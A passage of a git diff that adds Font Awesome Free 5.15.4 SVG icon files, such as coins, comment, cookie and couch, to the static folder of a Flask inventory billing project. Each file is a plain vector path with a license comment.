12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/coins.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/coins.svg new file mode 100644 index 00000000..af07b7d9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/coins.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/columns.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/columns.svg new file mode 100644 index 00000000..c41c0031 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/columns.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-alt.svg new file mode 100644 index 00000000..751cac4d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-dollar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-dollar.svg new file mode 100644 index 00000000..b0799356 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-dollar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-dots.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-dots.svg new file mode 100644 index 00000000..396e3ef7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-dots.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-medical.svg new file mode 100644 index 00000000..0f1a0385 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-slash.svg new file mode 100644 index 00000000..15758312 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment.svg new file mode 100644 index 00000000..0b586bbc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comment.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comments-dollar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comments-dollar.svg new file mode 100644 index 00000000..41682c7e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comments-dollar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comments.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comments.svg new file mode 100644 index 00000000..3bfd4e10 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/comments.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compact-disc.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compact-disc.svg new file mode 100644 index 00000000..8809d643 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compact-disc.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compass.svg new file mode 100644 index 00000000..5cc98f57 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress-alt.svg new file mode 100644 index 00000000..494c8aff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress-arrows-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress-arrows-alt.svg new file mode 100644 index 00000000..d1effeb2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress-arrows-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress.svg new file mode 100644 index 00000000..52e5c45d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/compress.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/concierge-bell.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/concierge-bell.svg new file mode 100644 index 00000000..44f7ab7f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/concierge-bell.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cookie-bite.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cookie-bite.svg new file mode 100644 index 00000000..ac8ff1ab --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cookie-bite.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cookie.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cookie.svg new file mode 100644 index 00000000..891ed860 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cookie.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/copy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/copy.svg new file mode 100644 index 00000000..0e96699e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/copy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/copyright.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/copyright.svg new file mode 100644 index 00000000..07055a0b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/copyright.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/couch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/couch.svg new file mode 100644 index 00000000..df05515b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/couch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 